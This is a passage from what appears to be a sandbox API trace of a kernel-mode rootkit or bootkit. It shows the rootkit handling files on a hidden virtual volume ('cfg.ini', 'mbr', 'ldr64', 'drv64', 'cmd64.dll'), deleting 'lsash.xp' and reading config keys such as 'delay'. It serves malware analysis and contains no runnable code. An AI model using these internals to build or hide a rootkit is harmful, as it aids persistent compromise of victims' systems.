out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.808] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.808] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.808] IdePortDispatch () returned 0x103 [0121.808] KeWaitForMutexObject () returned 0x0 [0121.809] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.809] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.809] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.809] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.809] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.809] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.809] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.809] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.809] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.809] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.809] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.809] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.809] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.809] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.809] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.809] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.809] KeLeaveCriticalRegion () [0121.809] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.809] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.809] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.809] KeEnterCriticalRegion () [0121.809] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.809] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.809] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.809] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.809] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.809] IdePortDispatch () returned 0x103 [0121.809] KeWaitForMutexObject () returned 0x0 [0121.809] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.809] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.809] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.809] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.809] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.809] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.809] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.810] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.810] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.810] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.810] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.810] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.810] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.810] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.810] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.810] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.810] KeLeaveCriticalRegion () [0121.810] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.810] ReleaseMutex (hMutex=0x100) returned 1 [0121.810] Sleep (dwMilliseconds=0x2bf20) [0121.816] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6bce6930, dwHighDateTime=0x1d24fa4)) [0121.816] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.816] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.816] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.816] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.816] KeEnterCriticalRegion () [0121.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.816] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.816] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.816] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.816] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.816] IdePortDispatch () returned 0x103 [0121.816] KeWaitForMutexObject () returned 0x0 [0121.817] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.817] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.817] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.817] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.817] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.817] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6a00 [0121.817] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.817] KeLeaveCriticalRegion () [0121.817] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.817] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.817] KeEnterCriticalRegion () [0121.817] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.817] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.817] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.817] KeLeaveCriticalRegion () [0121.817] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.817] KeEnterCriticalRegion () [0121.817] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.817] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.817] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.817] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.817] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.817] IdePortDispatch () returned 0x103 [0121.817] KeWaitForMutexObject () returned 0x0 [0121.817] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.817] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.817] KeLeaveCriticalRegion () [0121.817] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.817] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.818] KeEnterCriticalRegion () [0121.818] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.818] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bda000 [0121.818] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.818] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.818] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.818] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.818] IdePortDispatch () returned 0x103 [0121.818] KeWaitForMutexObject () returned 0x0 [0121.818] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.818] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.818] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.818] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.818] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.818] IdePortDispatch () returned 0x103 [0121.818] KeWaitForMutexObject () returned 0x0 [0121.818] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.818] KeLeaveCriticalRegion () [0121.818] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.819] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.819] KeEnterCriticalRegion () [0121.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.819] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.819] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.819] KeLeaveCriticalRegion () [0121.819] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.819] KeEnterCriticalRegion () [0121.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.819] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.819] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.819] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.819] KeLeaveCriticalRegion () [0121.819] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.819] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.819] KeEnterCriticalRegion () [0121.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.819] ExFreePoolWithTag (P=0xfffffa8003bd6a00, Tag=0x0) [0121.819] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.819] KeLeaveCriticalRegion () [0121.819] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.819] ReleaseMutex (hMutex=0xf0) returned 1 [0121.819] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.819] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.819] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.819] KeEnterCriticalRegion () [0121.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.819] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.819] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.819] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.819] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.819] IdePortDispatch () returned 0x103 [0121.820] KeWaitForMutexObject () returned 0x0 [0121.820] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.820] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.820] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.820] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.820] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.820] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6a70 [0121.820] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.820] KeLeaveCriticalRegion () [0121.820] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.820] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.820] KeEnterCriticalRegion () [0121.820] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.820] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.820] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.820] KeLeaveCriticalRegion () [0121.820] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.820] KeEnterCriticalRegion () [0121.820] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.820] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.820] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.820] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.820] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.820] IdePortDispatch () returned 0x103 [0121.820] KeWaitForMutexObject () returned 0x0 [0121.820] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.820] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.820] KeLeaveCriticalRegion () [0121.820] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.820] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.820] KeEnterCriticalRegion () [0121.820] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.820] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bdb000 [0121.820] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.820] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.820] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.820] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.820] IdePortDispatch () returned 0x103 [0121.821] KeWaitForMutexObject () returned 0x0 [0121.821] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.821] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.821] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.821] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.821] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.821] IdePortDispatch () returned 0x103 [0121.821] KeWaitForMutexObject () returned 0x0 [0121.821] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.821] KeLeaveCriticalRegion () [0121.821] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.821] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.821] KeEnterCriticalRegion () [0121.821] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.822] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.822] KeLeaveCriticalRegion () [0121.822] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.822] KeEnterCriticalRegion () [0121.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.822] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.822] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.822] KeLeaveCriticalRegion () [0121.822] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.822] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.822] KeEnterCriticalRegion () [0121.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.822] ExFreePoolWithTag (P=0xfffffa8003bc6a70, Tag=0x0) [0121.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.822] KeLeaveCriticalRegion () [0121.822] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.822] ReleaseMutex (hMutex=0xf0) returned 1 [0121.822] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.822] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.822] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.822] KeEnterCriticalRegion () [0121.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.822] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.822] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.822] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.822] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.822] IdePortDispatch () returned 0x103 [0121.822] KeWaitForMutexObject () returned 0x0 [0121.822] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.822] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.822] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.822] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.822] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.822] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6200 [0121.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.822] KeLeaveCriticalRegion () [0121.823] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.823] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.823] KeEnterCriticalRegion () [0121.823] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.823] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.823] KeLeaveCriticalRegion () [0121.823] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.823] KeEnterCriticalRegion () [0121.823] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.823] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.823] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.823] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.823] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.823] IdePortDispatch () returned 0x103 [0121.823] KeWaitForMutexObject () returned 0x0 [0121.823] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.823] KeLeaveCriticalRegion () [0121.823] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.823] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.823] KeEnterCriticalRegion () [0121.823] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.823] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bdc000 [0121.823] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.823] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.823] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.823] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.823] IdePortDispatch () returned 0x103 [0121.824] KeWaitForMutexObject () returned 0x0 [0121.824] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.824] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.824] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.824] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.824] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.824] IdePortDispatch () returned 0x103 [0121.824] 